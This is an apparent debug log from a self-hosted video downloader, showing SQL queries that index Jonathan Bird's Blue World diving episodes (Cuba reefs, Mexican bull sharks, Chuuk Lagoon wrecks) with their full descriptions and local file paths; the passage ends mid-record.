source="media_items" db=1.5ms idle=771.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "Diving the Pristine Reefs of CUBA!", "226b691f-d3a5-4687-8767-523a86669d47", "s0KGNqDNyDk", false, "https://www.youtube.com/watch?v=s0KGNqDNyDk", 34, [], 1085, false, 10, "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", false, false, 98, ~U[2025-09-06 14:01:22Z], ~U[2026-06-02 23:02:07Z], ~U[2026-06-02 23:02:07Z], "Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "Diving the Pristine Reefs of CUBA!", "s0KGNqDNyDk", "https://www.youtube.com/watch?v=s0KGNqDNyDk", 34, 1085, false, "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", false, ~U[2025-09-06 14:01:22Z]] 19:02:07.995 [debug] QUERY OK source="sources" db=0.2ms idle=70.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:07.995 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:07.995 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119033] 19:02:07.996 [debug] Current batch of media processed. Will check again in 1000ms 19:02:08.996 [debug] Current batch of media processed. Will check again in 1000ms 19:02:09.998 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "duration" => 564, "filename" => "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", "id" => "st5_OKH1O-g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=st5_OKH1O-g", "playlist_index" => 11, "timestamp" => 1754143290, "title" => "Return to the BULL SHARKS of Mexico!", "upload_date" => "20250802"} 19:02:10.000 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=777.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:10.001 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=779.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:10.003 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=780.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 14:01:30Z], 34] 19:02:10.004 [debug] QUERY OK source="media_items" db=0.9ms idle=781.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "Return to the BULL SHARKS of Mexico!", "75ccf588-49a1-4a81-931d-2cd47bdad1f4", "st5_OKH1O-g", false, "https://www.youtube.com/watch?v=st5_OKH1O-g", 34, [], 564, false, 11, "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", false, false, 98, ~U[2025-08-02 14:01:30Z], ~U[2026-06-02 23:02:10Z], ~U[2026-06-02 23:02:10Z], "Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "Return to the BULL SHARKS of Mexico!", "st5_OKH1O-g", "https://www.youtube.com/watch?v=st5_OKH1O-g", 34, 564, false, "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", false, ~U[2025-08-02 14:01:30Z]] 19:02:10.004 [debug] QUERY OK source="sources" db=0.1ms idle=77.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:10.005 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:10.005 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119035] 19:02:10.005 [debug] Current batch of media processed. Will check again in 1000ms 19:02:11.006 [debug] Current batch of media processed. Will check again in 1000ms 19:02:12.007 [debug] Current batch of media processed. Will check again in 1000ms 19:02:13.009 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "duration" => 1404, "filename" => "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", "id" => "N1tKGFoW7W8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=N1tKGFoW7W8", "playlist_index" => 12, "timestamp" => 1751724011, "title" => "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "upload_date" => "20250705"} 19:02:13.010 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1788.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:13.011 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1789.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:13.013 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1790.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-05 14:00:11Z], 34] 19:02:13.015 [debug] QUERY OK source="media_items" db=1.2ms idle=1084.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "6a4a4d43-603c-4bdf-bd72-80671e5707d9", "N1tKGFoW7W8", false, "https://www.youtube.com/watch?v=N1tKGFoW7W8", 34, [], 1404, false, 12, "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", false, false, 98, ~U[2025-07-05 14:00:11Z], ~U[2026-06-02 23:02:13Z], ~U[2026-06-02 23:02:13Z], "The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", 